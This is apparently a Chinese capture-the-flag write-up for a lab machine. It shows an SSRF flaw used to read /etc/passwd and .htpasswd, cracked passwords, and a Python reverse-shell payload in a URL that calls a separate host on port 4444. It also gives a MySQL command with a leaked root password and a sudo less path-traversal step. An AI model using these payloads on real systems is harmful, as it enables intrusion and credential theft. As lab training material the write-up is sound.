一:从 SSRF 漏洞探测到获取 Flag 1 的完整路径

开始源于对目标系统的信息搜集。通过发现靶机开启了80端口,所以我们可以进去看看

Target1-渊靶机取Flag过程
Target1-渊靶机取Flag过程

进去看到一个登录界面我们直接注册进去发现一个url测试入口

使用 dirsearch 进行目录扫描,我们发现了很多可用的信息

Target1-渊靶机取Flag过程
Target1-渊靶机取Flag过程

在登录控制台后,定位到了“URL 可用性检测”模块。

  • 漏洞原理:该功能后端直接调用 curl 处理用户输入的 URL,且未对 file:// 等进行过滤。
  • 验证过程:我输入 file:///etc/passwd,页面成功返回了系统用户信息,证实了 SSRF 漏洞 的存在。
Target1-渊靶机取Flag过程

并且通过var/www/html/db.php发现了大量泄露数据

并且我们通过在这里按照习惯寻找,发现了flag1.txt

Target1-渊靶机取Flag过程

并且我们直接查询etc下的passwd可以看到结果如图:

Target1-渊靶机取Flag过程

我们就能得知其中有一个用户叫:liwei

为了突破受限的 API 目录,我利用 SSRF 探测 Web 目录下的隐藏安全配置:

  • 定位密码本:因为apache下面有隐藏文件,我们通过通过读取 .htaccess,确认了凭据存储在 /var/www/html/api/.htpasswd
  • 获取哈希:再次利用 SSRF 读取该文件,拿到了加密后的用户哈希。经过线下爆破,成功解密出明文密码 trustno1
Target1-渊靶机取Flag过程
Target1-渊靶机取Flag过程

我们便得到了张伟的哈希密码和db的user以及密码

在暴力破解之后,我们可以看到zhangwei的密码为trustno1

我们便以这个密码登录到模块界面

在模块界面我们可以根据上图得知的admin_panel加上原本模块界面给我们的格式组合成我们自己的一个反弹shell

http://192.168.104.102/api/loader.php?module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.104.103",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

所以我们可以利用这个反弹shell连接到靶机去

连接上去之后我们可以看到我们目前是普通用户

Target1-渊靶机取Flag过程

然后在我们之前我们已经得知了数据库的用户名和密码,我们这里就可以直接对数据库数据进行查找

mysql -u root -p'R#xK9mWz$2pLnQ7v' abyss_platform -e "SELECT * FROM users;"

所以我们就能看到如下数据:

Target1-渊靶机取Flag过程

里面的这个admin我们推测为liwei,所以对他的密码进行爆破

我们根据爆破结果可以得知李伟的密码是:dragon

然后我们就可以登录上去

Target1-渊靶机取Flag过程

成功切换之后我们先对所有的flag进行查找

Target1-渊靶机取Flag过程

我们可以看见flag1和flag3的位置

而flag2需要我们自己查找,我们执行一个cd

Target1-渊靶机取Flag过程

这时我们可以执行一下sudo -l看看权限

Target1-渊靶机取Flag过程

我们可以看到最后一行是我们不需要密码可以执行的sudo内容

所以我们绕一绕,直接跳过sudo

我们可以执行如下指令:

sudo /usr/bin/less /var/log/abyss/../../../flag3.txt

于是我们就可以看到

Target1-渊靶机取Flag过程

所以我们拿到了3个flag


核桃大魔王